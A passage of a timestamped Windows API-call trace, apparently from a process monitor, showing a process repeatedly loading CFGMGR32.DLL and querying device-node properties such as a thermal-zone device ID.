[0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.348] malloc (_Size=0x18) returned 0x20abc281ba0 [0196.348] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x16, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0196.348] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x30ccc1aa, dwHighDateTime=0x1d9eb0c)) [0196.348] SetEvent (hEvent=0x248) returned 1 [0196.351] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.351] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.354] malloc (_Size=0x18) returned 0x20abc281cc0 [0196.355] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.355] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30ccc1aa, dwHighDateTime=0x1d9eb0c)) [0196.355] SetEvent (hEvent=0x248) returned 1 [0196.361] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.361] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.364] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.365] malloc (_Size=0x18) returned 0x20abc2819a0 [0196.365] CM_Get_Device_IDA (in: dnDevInst=0x17, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\THERMALZONE\\TZ00") returned 0x0 [0196.365] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x30cf22fe, dwHighDateTime=0x1d9eb0c)) [0196.366] SetEvent (hEvent=0x248) returned 1 [0196.369] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.369] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.373] malloc (_Size=0x18) returned 0x20abc2820a0 [0196.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.373] malloc (_Size=0x3e) returned 0x20abc27cb20 [0196.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cb20, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cb20, pulLength=0x2dc22fd3f8) returned 0x0 [0196.374] free (_Block=0x20abc27cb20) [0196.374] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x30cf22fe, dwHighDateTime=0x1d9eb0c)) [0196.374] SetEvent (hEvent=0x248) returned 1 [0196.442] malloc (_Size=0x18) returned 0x20abc281b40 [0196.442] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0196.442] free (_Block=0x20abc281b40) [0196.443] malloc (_Size=0x18) returned 0x20abc281c80 [0196.443] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0196.443] free (_Block=0x20abc281c80) [0196.443] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c6f0 [0196.443] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0196.443] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.443] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.443] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.443] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0196.443] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.443] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0196.443] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.444] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.444] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.445] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.445] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c6f0) returned 1 [0196.446] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.446] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.450] malloc (_Size=0x18) returned 0x20abc281a40 [0196.450] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0196.450] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x30db0fd8, dwHighDateTime=0x1d9eb0c)) [0196.451] SetEvent (hEvent=0x248) returned 1 [0196.453] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.454] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.458] malloc (_Size=0x18) returned 0x20abc281e60 [0196.458] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.461] malloc (_Size=0x48) returned 0x20abc27cf80 [0196.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30dd738a, dwHighDateTime=0x1d9eb0c)) [0196.462] SetEvent (hEvent=0x248) returned 1 [0196.465] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.465] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.468] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.469] malloc (_Size=0x18) returned 0x20abc281ee0 [0196.469] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.469] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30dd738a, dwHighDateTime=0x1d9eb0c)) [0196.470] SetEvent (hEvent=0x248) returned 1 [0196.472] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.472] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.475] malloc (_Size=0x18) returned 0x20abc281ba0 [0196.475] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.476] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30dfd431, dwHighDateTime=0x1d9eb0c)) [0196.476] SetEvent (hEvent=0x248) returned 1 [0196.478] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.478] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.479] GetProcAddress (hModule=0x7ffb1ced0000, 